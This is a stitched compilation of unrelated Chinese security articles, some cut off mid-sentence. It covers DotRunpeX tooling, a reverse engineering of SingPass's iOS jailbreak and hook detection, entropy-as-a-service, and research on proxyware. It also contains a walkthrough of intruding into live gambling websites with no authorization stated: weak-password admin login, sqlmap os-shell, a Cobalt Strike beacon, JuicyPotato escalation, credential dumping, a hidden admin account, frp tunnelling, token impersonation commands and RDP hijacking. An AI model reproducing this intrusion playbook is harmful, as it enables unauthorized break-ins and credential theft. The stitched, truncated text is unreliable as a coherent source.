首先,該工具使用AsmResolver修改DotRunpeX的PE結構。 AsmResolver以其檢查dotnet可執行文件及其相關元數據的功能而聞名,但它也允許訪問PE的底層結構來修改它們。這些PE結構修改用於實現上述PoC技術,目的是將dll預注入64位的dotnet可執行文件。 CPR正在討論將本機掛鉤庫的新導入條目添加到.NET程序集中。由於DotRunpeX是一個64位可執行文件,而且與32位的dotnet可執行文件不同,64位的dotRunpe

1.png

通過在應用程序的安裝目錄中搜索一些關鍵字,我們實際上得到了兩個結果,它們含有混淆器名稱的信息:

2.png

NuDetectSDK 二進製文件也使用相同的混淆器,但它似乎沒有參與上圖所示的早期越獄檢測。另一方面,SingPass 是應用程序的主要二進製文件,我們可以觀察到與威脅檢測相關的字符串:

3.png

混淆器的名稱已被編輯,但不會影響代碼的內容。

不幸的是,二進製文件沒有洩漏其他字符串,這些字符串可以幫助識別應用程序檢測越獄設備的位置和方式,但幸運的是,應用程序沒有崩潰。

如果我們假設混淆器在運行時解密字符串,則可以嘗試在顯示錯誤消息時轉儲__data 部分的內容。在執行時,用於檢測越獄設備的字符串可能已被解碼並清楚地存在於內存中。

1.我們運行應用程序並等待越獄消息;

2.我們使用Frida 附加到SingPass,並註入一個庫:

2.1在內存中解析SingPass 二進製文件;

2.2轉儲__data 部分的內容;

2.3 將轉儲寫入iPhone 的/tmp 目錄;

一旦數據區被轉儲,__data部分會發生以下變化:

4.png

轉儲前後的__data 部分

此外,我們可以觀察到以下字符串,它們似乎與混淆器的RASP功能有關:

5.png

與RASP 功能相關的字符串

所有的EVT_*字符串都由一個且只有一個我命名為on_rasp_detection的函數引用。這個函數是應用程序開發者在觸發RASP事件時用來執行操作的威脅檢測回調函數。

為了更好地理解這些字符串背後的檢查邏輯,讓我們從用於檢測掛鉤函數的EVT_CODE_PROLOGUE 開始。

EVT_CODE_PROLOGUE:掛鉤檢測當通過彙編代碼接近on_rasp_detection 的交叉引用時,我們可以多次發現這種模式:

6.png

為了檢測給定函數是否被鉤住,混淆器加載函數的第一個字節,並將該字節與值0xFF進行比較。乍一看,0xFF似乎是任意的,但事實並非如此。實際上,常規函數以一個序言開始,該序言在堆棧上分配空間,以保存由調用約定定義的寄存器和函數所需的堆棧變量。在AArch64中,這個分配可以通過兩種方式執行:

7.png

這些指令是不相等的,如果偏移量存在,它們可能會導致相同的結果。在第二種情況下,指令sub SP、SP、#CST 用以下字節編碼:

8.png

正如我們所看到的,該指令的編碼從0xFF開始。如果不是這樣,那麼該函數要么以不同的堆棧分配序言開始,要么可能以一個掛鉤的蹦床開始。由於應用程序的代碼是通過混淆器的編譯器編譯的,因此編譯器能夠區分這兩種情況,並為正確的函數的序言插入正確的檢查。

如果函數指令的第一個字節沒有通過檢查,則跳轉到紅色基本塊。這個基本塊的目的是觸發一個用戶定義的回調,它將根據應用程序的設計和開發人員的選擇來處理檢測:

打印錯誤

應用程序崩潰

破壞內部數據

……

從上圖中,我們可以觀察到檢測回調是從位於#hook_detect_cbk_ptr 的靜態變量加載的。調用此檢測回調時,混淆器會向回調提供以下信息:

1.檢測碼:EVT_CODE_PROLOGUE 為0x400;

2.可能導致應用程序崩潰的受攻擊指針;

現在讓我們仔細看看檢測回調的整體設計。

檢測回調如上一節所述,當混淆器檢測到篡改時,它會通過調用存儲在地址的靜態變量中的檢測回調來做出反應:0x10109D760

9.png

通過靜態分析hook_detect_cbk,實現似乎破壞了回調參數中提供的指針。另一方面,在運行應用程序時,我們觀察到越獄檢測消息,而不是應用程序崩潰。

如果我們查看在該地址讀取或寫入的交叉引用,我們會得到以下指令列表:

10.png

所以實際上只有一條指令,init_and_check_rasp+01BC,用另一個函數覆蓋默認的檢測回調:

11.png

與默認回調相比:hook_detect_cbk(被覆蓋的函數)相比,hook_detect_cbk_user_def不會損壞一個會導致應用程序崩潰的指針。相反,它調用on_rasp_detection函數,該函數引用上圖中列出的所有字符串EVT_CODE_TRACING、EVT_CODE_SYSTEM_LIB等。

通過整體查看init_and_check_rasp函數,我們可以注意到X23寄存器也用於初始化其他靜態變量:

13.png

X23寫入指令

這些內存寫入意味著回調hook_detect_cbk_user_def 用於初始化其他靜態變量。特別是,這些其他靜態變量很可能用於其他RASP 檢查。通過查看這些靜態變量#EVT_CODE_TRACING_cbk_ptr、#EVT_ENV_JAILBREAK_cbk_ptr 等的交叉引用,我們可以找到執行其他RASP 檢查的位置以及觸發它們的條件。

EVT_CODE_SYSTEM_LIB 14.png

EVT_ENV_DEBUGGER

15.png

EVT_ENV_JAILBREAK

16.png

多虧了#EVT_*交叉引用,我們可以靜態地通過使用這些#EVT_*變量的所有基本塊,並突出顯示可能觸發RASP回調的底層檢查。在詳細檢查之前,需要注意以下幾點:

1.雖然應用程序使用了一個商業混淆器,除了RASP之外,還提供了本地代碼混淆,但代碼是輕度混淆的,這使得靜態彙編代碼分析非常容易。

2.應用程序為所有RASP 事件設置相同的回調。因此,它簡化了RASP 繞過和應用程序的動態分析。

反調試SingPass 使用的混淆器版本實現了兩種調試檢查。首先,它檢查父進程id (ppid) 是否與/sbin/launchd 相同,後者應該為1。

17.png

getppid 通過函數或系統調用調用。

如果不是這種情況,它會觸發EVT_ENV_DEBUGGER 事件。第二個檢查基於用於訪問extern_proc.p_flag 值的sysctl。如果此標誌包含P_TRACED 值,則RASP 例程會觸發EVT_ENV_DEBUGGER 事件。

18.png

在SingPass 二進制中,我們可以在以下地址範圍內找到這兩個檢查的實例:

19.png

越獄檢測對於大多數越獄檢測,混淆器會通過檢查設備上是否存在(或不存在)某些文件來嘗試檢測設備是否已越獄。

借助以下幫助程序,可以使用系統調用或常規函數檢查文件或目錄:

20.png

如上所述,我提到__data 部分的轉儲顯示與越獄檢測相關的字符串,但轉儲並未顯示混淆器使用的所有字符串。

通過仔細研究字符串編碼機制,可以發現有些字符串是在臨時變量中即時解碼的。我將在本文的第二部分解釋字符串編碼機制,這樣,我們可以通過在fopen、utimes等函數上設置鉤子,並在這些調用之後立即轉儲__data部分來揭示字符串。然後,我們可以遍歷不同的轉儲,查看是否出現了新的字符串。

21.png

最後,該方法無法對所有字符串進行解碼,但可以實現良好的覆蓋。用於檢測越獄的文件列表在附件中給出。

還有一個檢測unc0ver 越獄的特殊檢查,包括嘗試卸載/.installed_unc0ver:

0x100E4D814:_unmount('/.installed_unc0ver')

環境混淆器還會檢查觸發EVT_ENV_JAILBREAK 事件的環境變量。其中一些檢查似乎與代碼提升檢測有關,但仍會觸發EVT_ENV_JAILBREAK 事件。

22.png

startswith()從逆向工程的角度來看,startswith()實際上是作為一個“or-ed”的xor序列來實現的,以得到一個布爾值。這可能是編譯器優化的結果。你可以在位於地址0x100015684的基本塊中觀察這個模式。

高級檢測除了常規檢查之外,混淆器還執行高級檢查,比如驗證SIP(系統完整性保護)的當前狀態,更準確地說,是KEXTS代碼簽名狀態。

根據我在iOS越獄方面的經驗,我認為沒有越獄會禁用CSR_ALLOW_UNTRUSTED_KEXTS標誌。相反,我猜它是用來檢測應用程序是否在允許這種停用的Apple M1 上運行。

23.png

Assemblyrange:0x100004640–0x1000046B8

混淆器還使用Sandbox API 來驗證是否存在某些路徑:

24.png

通過這個API 檢查的路徑是OSX 相關的目錄,所以我猜它也被用來驗證當前代碼沒有在Apple Silicon 上被解除。例如,下面是使用Sandbox API 檢查的目錄列表:

25.png

Assemblyrange:0x100ED7684(function)

此外,它使用沙盒屬性file-read-metadata 作為stat() 函數的替代方案。

Assemblyrange:0x1000ECA5C–0x1000ECE54

該應用程序通過私有系統調用使用沙盒API 來確定是否存在一些越獄工件。這是非常明智的做法,但我想這並不符合蘋果的安全政策。

代碼符號表此檢查的目的是驗證已解析導入的地址是否指向正確的庫。換句話說,此檢查驗證導入表沒有被可用於掛鉤導入函數的指針篡改。

Initialization: part of sub_100E544E8

Assemblyrange:0x100016FC4–0x100017024

在RASP 檢查初始化(sub_100E544E8) 期間,混淆器會手動解析導入的函數。此手動解析是通過迭代SingPass 二進製文件中的符號、檢查導入符號的庫、訪問(在內存中)此庫的__LINKEDIT 段、解析導出trie 等來執行的。此手動解析填充一個包含已解析符號的絕對地址的表。

此外,初始化例程設置遵循以下佈局的元數據結構:

26.png

symbols_index 是一種轉換錶,它將混淆器已知的索引轉換為__got 或__la_symbol_ptr 部分中的索引。索引的來源(即__got 或__la_symbol_ptr)由包含類枚舉整數的origins 表確定:

27.png

symbols_index和origins這兩個表的長度都是由靜態變量nb_symbols定義的,它被設置為0x399。元數據結構後面跟著兩個指針:resolved_la_syms 和resolved_got_syms,它們指向混淆器手動填充的導入地址表。

每個部分都有一個專用表:__got 和__la_symbol_ptr。

然後,macho_la_syms 指向__la_symbol_ptr 部分的開頭,而macho_got_syms 指向__got 部分。

最後,stub_helper_start/stub_helper_end 保存了__stub_helper 部分的內存範圍。稍後我將介紹這些值的用途。

這個元數據結構的所有值都是在函數sub_100E544E8中進行初始化時設置的。

在SingPass 二進製文件的不同位置,混淆器使用此元數據信息來驗證已解析導入的完整性。它首先訪問symbols_index 和具有固定值的起源:

28.png

由於symbols_index表包含uint32_t值,#0xCA8匹配#0x32A(起源表的索引)當除以sizeof(uint32_t):0xCA8=0x32A * sizeof(uint32_t)。

換句話說,我們有以下操作:

29.png

然後,給定sym_idx 值並根據符號的來源,該函數訪問已解析的__got 表或已解析的__la_symbol_ptr 表。此訪問是通過位於sub_100ED6CC0 的輔助函數完成的。可以用下面的偽代碼來概括:

30.png

比較section_ptr 和manual_resolved 的索引sym_idx 處的條目,如果它們不匹配,則觸發事件#EVT_CODE_SYMBOL_TABLE。

實際上,比較涵蓋了不同的情況。首先,混淆器處理sym_idx 處的符號尚未解析的情況。在這種情況下,section_ptr[sym_idx] 指向位於__stub_helper 部分中的符號解析存根。這就是元數據結構包含本節的內存範圍的原因:

31.png

另外,如果兩個指針不匹配,函數會使用dladdr來驗證它們的位置:

32.png

例如,如果導入的函數與Frida掛鉤,則兩個指針可能不匹配。

在origin[sym_idx]被設置為SYM_ORIGINS:NONE的情況下,函數跳過檢查。因此,我們可以通過用0填充原始表來禁用這個RASP檢查。符號的數量接近元數據結構,元數據結構的地址是由___atomic_load和___atomic_store函數洩露的。

33.png

代碼跟踪檢查代碼跟踪檢查旨在驗證當前沒有被跟踪。通過查看#EVT_CODE_TRACING_cbk_ptr 的交叉引用,我們可以識別出兩種驗證。

GumExecCtxEVT_CODE_TRACING 似乎能夠檢測Frida 的跟踪檢查是否正在運行。這是我第一次觀

由於新的安全解決方案在其熵源方面受到限制,因此確保互聯網上的安全通信對開發人員來說變得越來越困難。那麼開發人員如何提高加密的安全性以保護用戶數據呢?熵即服務可能是一個很好的答案,這就是原因。

在本文中,我們將討論什麼是加密中的熵以及為什麼它值得您關注。本文將對想要了解如何在安全項目中使用熵的開發人員有所幫助。

什麼是熵?在計算中,熵是操作系統或應用程序收集的用於生成需要隨機數據的加密密鑰的信息的隨機性或不可預測性的度量。當使用高級別的熵進行加密時,可以安全地保護用戶數據免受網絡傳輸和存儲設備上的靜態攻擊。

傳統的計算系統著眼於人類與機器的交互,例如鼠標移動、網絡活動和鍵盤輸入的熵。然後將基於軟件熵的不可預測數據轉換為隨機數並用於加密需求。

但除了傳統計算機之外,人們還使用範圍廣泛的其他設備和系統來訪問互聯網。因此,對隨機數據的需求不斷增加,以緩解嵌入式系統漏洞以及雲計算環境和物聯網(IoT) 設備中的安全問題。相比之下,基於雲的系統和創新設備在與用戶的交互方面受到限制,因此它們無法產生足以滿足加密需求的基於軟件的熵。讓我們在下一節中詳細探討熵安全性。

為什麼熵如此重要? 2012 年之前,幾乎沒有人考慮過基於軟件的熵問題。隨後,來自加州大學聖地亞哥分校和密歇根大學的一組研究人員發現,RSA 和DSA 不再生成安全密鑰。在研究期間,研究人員調查了防火牆和路由器等互聯網設備中使用的公鑰的安全性。結果表明,大多數SSH 和TLS 服務器都包含很容易猜到的公鑰。此外,研究人員非常驚訝地發現10% 的SSH 密鑰和5% 的HTTPS 密鑰是重複的。

這樣做的原因是聯網設備資源受限,並且與用戶的交互也受到限制。物聯網設備的開發基於軟件產生的熵足以用於密碼學的假設,但這種方法似乎無效。從我們關於物聯網安全挑戰的文章中可以看出,具有可猜測加密密鑰的物聯網設備可以很容易地從有用資產轉換為間諜工具。

此外,基於雲的系統不與用戶硬件交互。相反,雲服務提供商使用來賓虛擬機的單一黃金映像,並創建多個實例以響應用戶需求。然而,這些實例產生熵的能力非常有限。因此, 雲計算也正成為網絡攻擊的誘人載體。

因此,尋找可靠的真實熵源成為了開發者非常頭疼的問題。雖然高質量熵的不足越來越多,但傳統的熵生成軟件方法在應用於現代計算系統時會失敗。儘管專家建議使用確定性隨機位生成器生成加密密鑰,但存在這樣的風險,即提供給這些生成器用於密鑰開發的初始值或種子很容易被網絡犯罪分子追踪和破壞。

此問題的一種可能解決方案是找到可以由生產環境中的多個應用程序安全共享的外部熵源。

熵即服務考慮到對隨機數據日益增長的需求,美國國家標準與技術研究院(NIST) 提議開發一種新的服務來為應用程序和設備開發人員提供高質量的熵:熵即服務。

什麼是熵即服務(EaaS)? EaaS 是一種創新的互聯網服務,旨在為物聯網設備、嵌入式系統和雲服務提供商提供高質量的熵源。這些熵源基於可以提供真正隨機性的環形振盪器或量子設備的物理過程。開發人員可以使用EaaS 為他們的應用程序或設備播種高質量的熵,並確保他們的產品受到強有力的保護,免受網絡攻擊。

NIST 的EaaS 架構NIST 提供了一種為內置於設備和應用程序中的隨機數生成器(RNG) 提供種子的安全方法。 NIST 建議開發人員配置他們的應用程序和設備,以將對必要字節數的隨機數據的HTTP GET 請求發送到熵即服務服務器,並使用相關的熵即服務協議接收新生成的隨機數據。根據NIST,EaaS 系統應具有以下組件:

量子熵裝置

EaaS 服務器

客戶端系統中的硬件信任根設備

image.png

EaaS 服務器不斷從附加的量子設備接收熵並將其安全存儲。當它收到來自客戶端系統的請求時,服務器會在將其發送給請求者之前對其新的隨機數據進行簽名和加密。數據的新鮮度通過UTC 時間戳確認,客戶端可以通過將其與本地機器的時間進行比較來驗證該時間戳。數字簽名確保種子的真實性和來源。此外,隨機數據的加密是使用特定於每個客戶端的唯一公鑰和服務器自己的私鑰執行的。

客戶端系統應該有一個帶有安全硬件組件的經典計算設備,用於存儲加密密鑰和種子(例如TPM、Intel IPT 或ARM TrustZone)。此外,還應配備保證EaaS服務器與客戶端硬件組件通信的應用軟件。客戶端系統或設備不一定要有專用硬件,但它的可用性將使種子存儲更加安全。

EaaS 服務器不向其客戶端提供加密密鑰;它僅以安全的方式為客戶的RNG 提供獨特的種子。但是您不需要只信任一個EaaS 提供商;NIST 建議使用來自多個EaaS 服務器的響應來播種應用程序。 EaaS 架構是可擴展的,可以包括全球數以千計的EaaS 服務器,這對於建立集體權威和保持架構的開放性和專家可見性非常重要。

為確保完美的前向保密性,開發人員可以將從EaaS 服務器獲得的隨機數據與本地生成的偽隨機數據(使用哈希)或從另一個EaaS 服務器接收的數據混合。

EaaS供應商市場上有越來越多的成功熵即服務解決方案的例子。例如,美國加密安全解決方案開發商Whitewood 為現場軟件提供免費的熵即服務解決方案,並為永久許可或基於消費的模型提供付費選項。懷特伍德創建了netRandom 軟件,該軟件從熵引擎接收隨機數據,並為操作系統、物聯網設備和虛擬機提供獨特的種子材料。

加拿大網絡安全公司Crypto4A 也在其量子就緒解決方案中實施了NIST 的所有建議。這個熵即服務提供商使用專門開發的硬件安全模塊來實現多個熵源,並為NIST SP-800-90 隨機數生成器設計提供基於量子的數據。他們的模塊確保為公司客戶提供必要級別的加密機密性和服務真實性。

澳大利亞安全公司Quintessence Labs 現在正在嚴格測試其qStream 產品,該產品可為偽隨機數生成器高速提供量子生成的熵。該公司開發了一種有效的熵管理系統,該系統符合KMIP 和FIPS 140-2 級別3。

EaaS 對開發人員的好處EaaS 對應用程序和設備開發人員非常有益,他們不再需要為尋找自己的安全熵源而絞盡腦汁。相反,他們可以更快地推出產品,並確保設備和應用程序能夠安全地保護用戶數據。 EaaS 讓新產品能夠從基於互聯網的架構中獲得真正的熵。這種方法允許開發人員始終使用真正的熵來更新他們的產品,以生成最強大的密碼學,並確保他們的解決方案能夠抵禦現代網絡攻擊。

此外,熵即服務解決方案還可用於企業評估其公司係統的安全性。在EaaS 的幫助下,公司可以證明從來自其基於軟件的資源的數據生成的密鑰的強度。此外,如果企業希望完全確保其數據庫受到保護,還可以使用EaaS 為其端點獲取熵。

至於熵在雲環境中的使用,EaaS 可以幫助避免從公共黃金映像創建的兩個虛擬機實例複製其本地熵池的情況。為避免這種情況,鏡像在克隆後只需要在啟動時從EaaS 服務器請求新的隨機數據。

結論熵即服務是一種新的基於雲的服務,允許開發人員獲得對用戶數據進行強加密所需的高質量熵。該服務滿足了對基於雲的應用程序以及嵌入式和物聯網設備的需求。在密碼學中使用熵是增強解決方案的可靠方法。雖然EaaS 不生成加密密鑰,但它以安全的方式為隨機數生成器提供唯一的種子。

前言

昨天半夜看到一篇文章 某菠菜网站渗透实战

就想着自己也练一练手,打到一半发现,大师傅们对这类站点已经狠狠的蹂躏了,所以借鉴师傅们的经验,本着锻炼一下,想到哪就记一下,所以写的比较杂乱,其中有没有解决的地方也记录下来的,然后又换了个站点接着走了下去

信息收集

前台这样

Image

看一下其他的信息

Image端口查询

Image80为主页面 81 82 为后台登录界面 1433 mssql
Image目录扫描

Image存在目录遍历

Image

漏洞发掘

先去后台页面

输入用户名:123提示用户不存在
输入用户名:admin提示用户或密码不正确

确认admin账号,且没有验证码验证,可尝试爆破

直接弱密码 admin 123456 进入后台

Image功能不多,利用点也没什么

重新回到登录处进行sql注入

ImageImagemssql,dba权限,直接–os-shell

Image这里第一台机器不出网且没回显,放弃了,找了几个站终于找到一个出网且回显的网站(只要出网就挺好解决的)

Image

Image

CS上线

这里尝试CS,判断出网直接生成powershell上线

ImageImageImage看一下信息,查一下tasklist

Image目前是数据库权限,尝试提权,结果直接打掉线,网站也打不开了,还是要慎用,做足信息收集,做足补丁信息的收集

Image又换了一个站点:找到网站路径

Image先拿个webshell

Image哥斯拉顺手甜土豆提权为 system

ImageCS插件甜土豆也提权成功

Image

抓一下管理员密码

logonpasswords

付费的

Image加个影子账户,管理员权限

Image

公网CS通过frp转到内网MSF

先上文章吧 FRP+CS实现本地Kali收Shell

服务端(这里为5000,改完忘截图了)

Image客户端

ImageMSF开启监听

ImageCS

Image

后续

看能不能通过窃取Token以管理员身份登录

getuid //查看当前token
use incognito //加载incognito
list_tokens -u //列出accesstoken
impersonate_token “xxxxxxx\administrator” //模拟管理员用户
rev2self //返回之前的accesstoken权限

Image假冒一下令牌

Image但是进入shell的时候不是管理员身份,以system身份查找当前进程,迁移到管理员的进程中

再进入shell

ImageImage然后我还是想 RDP上去但是又没有密码,想到之前看过的一篇文章进行RDP会话劫持:

内网渗透 | RDP会话劫持实现未授权登录

内网漫游:通过RDP劫持向远程系统执行任意代码

最后时间太晚了,就又换了一个站点,成功抓取到密码

ImageRDP直接上去

Image


转载于原文链接: https://mp.weixin.qq.com/s/isk1bmYOuR_79QOBDlwFZQ?ref=www.ctfiot.com

為了竊取用戶網絡,攻擊者會誘導用戶安裝proxyware程序,該程序會將設備的可用互聯網帶寬分配為代理服務器,這樣攻擊者可以將其用於各種任務,如測試、情報收集、內容分發或市場研究。

作為共享網絡的回報,安裝proxyware程序的用戶可以從向客戶收取的費用中獲得抽成。例如,Peer2Profit服務顯示,用戶通過在數千台設備上安裝該公司的程序,每月最高可以賺到6000美元。

趨勢科技的研究人員最近分析了幾個著名的“被動收入”應用程序,發現這些程序可能存在安全風險。所謂被動收入(Passive Income),就是不需要花費多少時間和精力,也不需要照看,就可以自動獲得的收入。說白了就是不勞而獲,躺著賺錢!

網上有很多教人們如何通過共享閒置的計算能力或未使用的網絡帶寬來獲得“被動收入”。當用戶在他們的計算機上安裝這樣的程序時,不管願不願意,系統就會成為分佈式網絡的代理。這個分佈式網絡的運營商可以通過向其付費客戶銷售代理服務來賺錢。

儘管託管“被動收入”程序的網站會強調合法其自身的合法性,但我們發現此類程序可能會給下載者帶來安全風險。這是因為這些代理服務的一些付費客戶可能將其用於不道德甚至非法的目的。

在本文中,我們研究了幾個著名的“被動收入”應用程序,這些應用程序將會把它們的計算機變成住宅IP代理,這些代理被賣給客戶,用作“住宅IP代理”。這些應用程序通常通過推薦程序進行推廣,目前許多著名的YouTube和博客都在推廣他們。

我們還調查了將“被動收入”應用程序與第三方庫捆綁在一起的可疑開發商。這意味著並下載者不知道“被動收入”應用程序,而這些收入實際上都流向了開發者。這意味著,用戶無法控制使用其家庭/移動IP地址執行的活動。

通過共享未使用的帶寬就可以輕鬆在線賺錢?在博客和YouTube網站上有很多帖子教人們如何通過簡單的教程獲得“被動收入”。這些教程的開發者通常通過推薦來賺錢,並同時推廣幾個“被動收入”應用程序。

使用“網絡帶寬共享”盈利方案的公司包括HoneyGain、TraffMonitizer、Peer2Profit、PacketStream和IPRoyal Pawns等。這些公司為用戶提供了一種通過下載和運行他們的程序代理來被動地在線賺錢的方式。通常情況下,用戶將分享他們的連接並獲得積分,這些積分之後可以轉換成實際的貨幣。

1.png

公司通過共享網絡來宣傳被動收入

尋求收入的人將下載該程序來分享他們的帶寬並賺錢,但這些公司將帶寬賣給需要住宅代理服務的客戶。該公司網站列出了一些人們可能需要代理服務的原因:人口統計研究、繞開賭博和淘便宜貨的地理限制,或者出於隱私原因,等等。

這些公司很容易找到,在谷歌上簡單搜索“被動收入未使用帶寬”,立即產生IPRoyal Pawns, Honeygain, PacketStream, Peer2Profit, EarnApp和Traffmonetizer等名稱。一些人在論壇和討論區甚至建議同時安裝多個應用程序來賺更多的錢,或者運行多個虛擬機來增加潛在的利潤。

2.png

Quora上關於如何增加被動收入的帖子

與普通用戶相比,共享帶寬在被動收入中所佔的比例可能還不是最大的。根據一個博主分享的文章,推薦在博主收入中所佔的比例甚至更大(在這個圖表中超過50%)。

3.png

從被動收入、流量共享應用程序中獲得的收入佔比

儘管上圖中的數字顯而易見,但這位博主聲稱他每月大約賺20美元。但是用戶並不能保證能夠定期獲得如此低水平的收益。而且,作為這種不確定收入的交換,用戶被要求定期接受未知水平的風險。

劫持是怎麼發生的?這些“網絡帶寬共享”服務聲稱,用戶的互聯網連接將主要用於營銷研究或其他類似活動。因此,共享互聯網連接的人在網上賺錢的同時也成為了被營銷的對象。

4.png

使用帶寬共享聲明

但情況真如此嗎?為了檢查和了解潛在用戶加入此類程序可能面臨的風險,我們記錄並分析了來自幾個不同網絡帶寬共享服務的大量出口節點(出口節點是安裝了這些網絡帶寬共享服務的計算機)的網絡流量。

從2022年1月至9月,我們記錄了來自這些被動收入公司的出口節點的流量,並檢查了通過出口節點輸送的流量的性質。

首先,我們發現,來自其他應用程序合作夥伴的流量被輸送到我們的出口節點,並且大部分流量是合法的。我們看到了正常的流量,例如瀏覽新聞網站、收聽新聞流,甚至瀏覽在線購物網站。然而,我們也發現了一些可疑的聯繫。這些聯繫表明,一些用戶在某些國家從事可疑或可能非法的活動。

可疑活動的摘要如下表所示。我們根據相似性來組織這些活動,並指出我們觀察到這些活動的代理網絡。

5.png

在大多數情況下,應用程序發布者可能不會對使用其代理服務的第三方的可疑或惡意活動承擔法律責任。然而,那些安裝了“網絡帶寬共享”應用程序的人無法控制甚至監控通過其出口節點的流量類型。因此,這些網絡共享應用程序被歸類為風險程序應用程序,我們稱之為proxyware。

proxyware的可疑活動上表概述了我們觀察到的惡意和可疑活動,本節將進一步詳細介紹這些活動。

我們觀察到多個自動訪問第三方SMS PVA提供商的實例。什麼是SMS PVA服務?我們寫了一篇關於SMS PVA服務以及它們經常被錯誤使用的博客。 SMS PVA 服務是基於遍布各個國家的數千部被入侵的智能手機。有了這項服務,SMS PVA 用戶可以精確地註冊國家一級的賬戶,因此可以使用假裝來自目標國家的虛假賬戶發起活動。簡而言之,這些服務通常用於在線服務中的批量註冊帳戶。為什麼人們經常將它們與代理結合使用?這些帳戶通常綁定到特定的地理位置或地區,並且該位置或地區必須與註冊過程中使用的電話號碼相匹配。因此,SMS PVA服務的用戶希望他們的出口IP地址與號碼的位置相匹配,並且有時使用特定的服務(在服務僅在特定區域可訪問的情況下)。

這些大量註冊的賬戶(由住宅代理和SMS PVA服務提供幫助)通常被用於各種可疑的操作:針對個人用戶的社會工程和欺詐,以及濫用各種在線業務的註冊和促銷活動,可能導致數千美元的經濟損失。

潛在的點擊欺詐是我們從這些網絡中觀察到的另一種類型的活動。做點擊欺詐或靜默廣告網站,就是利用裝有“被動收入”程序的電腦作為出口節點,在後台“點擊”廣告。廣告商必須為無效點擊付費(沒有人真正看到廣告),網絡流量看起來幾乎與普通用戶在家點擊廣告相同。

SQL注入是一種常見的安全掃描,它試圖利用用戶輸入驗證漏洞來轉儲、刪除或修改數據庫內容。有許多工具可以自動執行此任務。然而,在許多國家,未經適當授權進行安全掃描和未經網站所有者書面許可進行SQL注入掃描都是犯罪活動,可能會被起訴。我們觀察到許多試圖從許多“被動收入”程序中探測SQL注入漏洞的嘗試。這種流量是有風險的,分享他們的連接的用戶可能會被捲入法律調查。

我們觀察到的另一組具有類似風險的類似活動是工具掃描。這些掃描試圖利用各種漏洞訪問/etc/passwd文件,如果成功,則表明系統易受任意文件暴露的攻擊,並允許攻擊者獲取服務器上的密碼文件。黑客利用此類程序漏洞從易受攻擊的網站檢索任意文件。不用說,在沒有服務器所有者的書面許可的情況下進行此類活動是非法的。

爬取政府網站可能根本不違法,通常存在一些合理使用條款,要求用戶不要同時提出過多的查詢,許多網站通過使用驗證碼服務來使用技術手段來防止大量爬行。我們觀察到使用反驗證碼工具的自動化工具在試圖訪問政府網站時繞過這些限制。我們也見過從律師事務所和法院網站抓取法律文件的爬蟲程序。

對個人身份信息(PII)的抓取在所有國家都可能是非法的,但這種行為值得懷疑,因為我們不知道這些信息後來會被濫用。在研究中,我們看到一個可疑的爬蟲大量下載巴西公民的信息。這些信息包括姓名、出生日期、性別和CPF(相當於國家SSN)。顯然,如果對此類活動進行調查,“被動收入”程序用戶將是第一個接觸點,因為登錄這些網站的將是他們的IP地址。

註冊了大量社交媒體賬號的人可以將其用於多種用途,例如網絡垃圾郵件、詐騙活動以及傳播錯誤信息和宣傳假新聞的木馬。此類賬戶也經常被用來對商品和服務進行虛假評價。在收集的流量中,我們看到TikTok賬戶註冊了非常規電子郵件地址。儘管這本身並不違法,但安裝了“被動收入”程序的用戶可能會被要求證明自己的身份,或者在正常瀏覽活動中通過更多的“驗證你是人類”測試。這是因為有太多來自其家庭IP的註冊帳戶,他們可能被誤認為與這些活動有關聯。

如果你認為這些例子沒有說服力,那麼在2017年,一名俄羅斯公民被逮捕並被指控恐怖主義。此人正在運行Tor出口節點,有人利用它在反政府抗議期間發布支持暴力的信息。 Proxyware類似於Tor出口節點,因為兩者都將流量從一個用戶引導到另一個用戶。這個例子說明瞭如果你不知道使用你的計算機作為出口節點的人在做什麼,你會給自己帶來多大的麻煩。

其他未經用戶同意運行的proxyware變體在研究過程中,我們還發現了一組多餘的應用程序,它們是作為自由程序工具分發的。然而,在我們看來,這些應用程序正在秘密地將用戶的設備轉變為代理節點。這些應用程序似乎在設備上安裝了Proxyware功能,比如Globalhop SDK,但沒有明確通知用戶他們的設備將被用作被動出口節點。一些最終用戶許可協議(EULA)文件可能會明確提到包含Globalhop SDK或應用程序的出口節點功能,而其他文件則沒有。但是,在我們看來,僅在eula(很少有用戶會閱讀的文件)中包含通知並不能向用戶提供公平的通知,即安裝應用程序將導致未知第三方使用他們的設備作為出口節點。

6.png

剪貼板管理器的EULA告訴用戶它包含具有“代理利用功能”的SDK,並且用戶同意“共享部分互聯網”。

無論哪種情況,此類程序仍然會給用戶帶來風險,“被動收入”只會支付給應用程序開發者。程序用戶只能享受免費程序本身而沒有“被動收入”。此類程序的例子包括:

Walliant——一款自動壁紙更換程序;

Decacopy剪貼板管理程序——一個用於存儲用戶最近複製粘貼的內容的程序;

EasyAsVPN——通常由欺騙用戶安裝的額外程序;

Taskbar System——一個改變任務欄顏色的應用程序;

Relevant Knowledge——廣告程序;

RestMinder——一個提醒用戶休息的鬧鐘程序;

Viewndow——固定選定應用程序窗口的程序;

Saferternet——基於DNS的網絡過濾程序。

這些代理網絡產生的網絡流量類似於“被動收入”程序產生的流量,因為這兩種類型的程序都是其提供商的出口節點。我們觀察到以下惡意/有爭議的活動。

7.png

總結我們在本文中介紹了藉著“網絡帶寬共享”的幌子實施“被動收入”程序如何使用其安裝基地的住宅IP作為出口節點,以及惡意和可疑網絡流量可能給用戶帶來的風險。

通過允許匿名人員將你的計算機用作出口節點,如果他們執行非法、濫用或與攻擊相關的操作,你將承擔最大的風險。這就是為什麼我們不建議參加這樣的計劃。

“被動收入”提供商可能製定了某些自我約束的政策,但我們沒有看到任何證據表明這些提供商對路由到出口節點的流量進行監管。如果他們這樣做了,那麼我們看到的非常明顯的SQL注入流量應該已經被過濾掉了。如果這些提供商希望改進其策略,我們建議他們更加坦率地向程序用戶表明,因為他們沒權利控制其客戶的行為。

有一些措施可以確保攻擊和濫用受到限制,例如嚴格執行流量掃描、證書測試和其他技術,但執行這些策略是關鍵。我們就這些問題聯繫過的一些應用發行商回應稱,他們通過應用合作夥伴的KYC (know-your-customer)實踐來保護用戶。這提供了一些保護,防止濫用作為出口節點的設備,然而,這些政策可以被偽造,或者客戶可以找到規避它們的方法。

總而言之,這些應用程序的潛在用戶,特別是在proxyware服務的當前實現下,需要意識到他們正在將自己暴露在未知的風險中,以換取不確定和可能不穩定的潛在“被動收入”。以下是一些防範上述風險的安全措施:

1.了解“被動收入”程序的風險,並考慮將其從筆記本電腦、台式機和移動設備中刪除。

2.建議公司IT員工檢查並刪除公司計算機中的“被動收入”程序。

